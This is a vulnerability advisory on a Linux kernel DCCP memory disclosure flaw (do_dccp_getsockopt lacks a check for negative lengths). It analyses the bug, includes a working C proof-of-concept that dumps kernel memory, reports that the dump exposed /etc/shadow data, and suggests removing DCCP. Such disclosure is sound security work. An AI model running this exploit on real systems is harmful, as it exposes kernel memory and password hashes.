linux-dccp.txt

`  
Linux Kernel DCCP Memory Disclosure Vulnerability  
  
Synopsis:  
  
The Linux kernel is susceptible to a locally exploitable flaw  
which may allow local users to steal data from the kernel memory.  
  
Vulnerable Systems:  
  
Linux Kernel Versions: >= 2.6.20 with DCCP support enabled.  
Kernel versions <2.6.20 lack  
DCCP_SOCKOPT_SEND_CSCOV/DCCP_SOCKOPT_RECV_CSCOV optnames for  
getsockopt() call with SOL_DCCP level, which are used in the  
delivered POC code.  
  
Author:  
  
Robert Swiecki  
http://www.swiecki.net  
[email protected]  
  
Details:  
  
The flaw exists in do_dccp_getsockopt() function in  
net/dccp/proto.c file.  
  
-----------------------  
static int do_dccp_getsockopt(struct sock *sk, int level, int optname,  
char __user *optval, int __user *optlen)  
...  
if (get_user(len, optlen))  
return -EFAULT;  
if (len < sizeof(int))  
return -EINVAL;  
...  
-----------------------  
  
The above code doesn't check `len' variable for negative values.  
Because of cast typing (len < sizeof(int)) is always true for  
`len' values less than 0.  
  
After that copy_to_user() procedure is called:  
  
-----------------------  
if (put_user(len, optlen) || copy_to_user(optval, &val, len))  
return -EFAULT;  
-----------------------  
  
What happens next depends greatly on the cpu architecture in-use -  
each cpu architecture has its own copy_to_user() implementation. On  
the IA-32 the code below ...  
  
-----------------------  
unsigned long  
copy_to_user(void __user *to, const void *from, unsigned long n)  
{  
BUG_ON((long) n < 0);  
-----------------------  
  
... will prevent explotation, but kernel will oops due to  
invalid opcode in BUG_ON().  
  
On some other architectures (e.g. x86-64) kernel-space data will  
be copied to the user supplied buffer until end-of-kernel space  
(pagefault in kernel-mode occurs) is reached.  
  
POC:  
  
-----------------------  
#include <netinet/in.h>  
#include <stdio.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <net/if.h>  
#include <sys/mman.h>  
#include <linux/net.h>  
  
#define BUFSIZE 0x10000000  
  
int main(int argc, char *argv[])  
{  
void *mem = mmap(0, BUFSIZE, PROT_READ | PROT_WRITE,  
MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);  
if (!mem) {  
printf("Cannot allocate mem\n");  
return 1;  
}  
/* SOCK_DCCP, IPPROTO_DCCP */  
int s = socket(PF_INET, 6, 33);  
if (s == -1) {  
fprintf(stderr, "socket failure!\n");  
return 1;  
}  
int len = -1;  
/* SOL_DCCP, DCCP_SOCKOPT_SEND_CSCOV */  
int x = getsockopt(s, 269, 11, mem, &len);  
  
if (x == -1)  
perror("SETSOCKOPT");  
else  
printf("SUCCESS\n");  
  
write(1, mem, BUFSIZE);  
  
return 0;  
}  
-----------------------  
  
then  
  
-----------------------  
make poc; ./poc | strings  
-----------------------  
  
I found cached disk blocks in the dump ( e.g. /etc/shadow ;) and  
tty buffers.  
  
Resolution:  
  
Remove dccp support from the installed linux kernel (remove dccp  
kernel modules etc..) or create a patch for kernel sources ;)  
  
Greets and thanks to:  
  
Przemyslaw Frasunek - [email protected] -  
http://www.frasunek.com - for his great help during flaw analysis  
  
Pawel Pisarczyk - [email protected] - for interesting talk about  
the vulnerability exploitation vectors  
  
  
--   
Robert Swiecki - http://www.swiecki.net  
`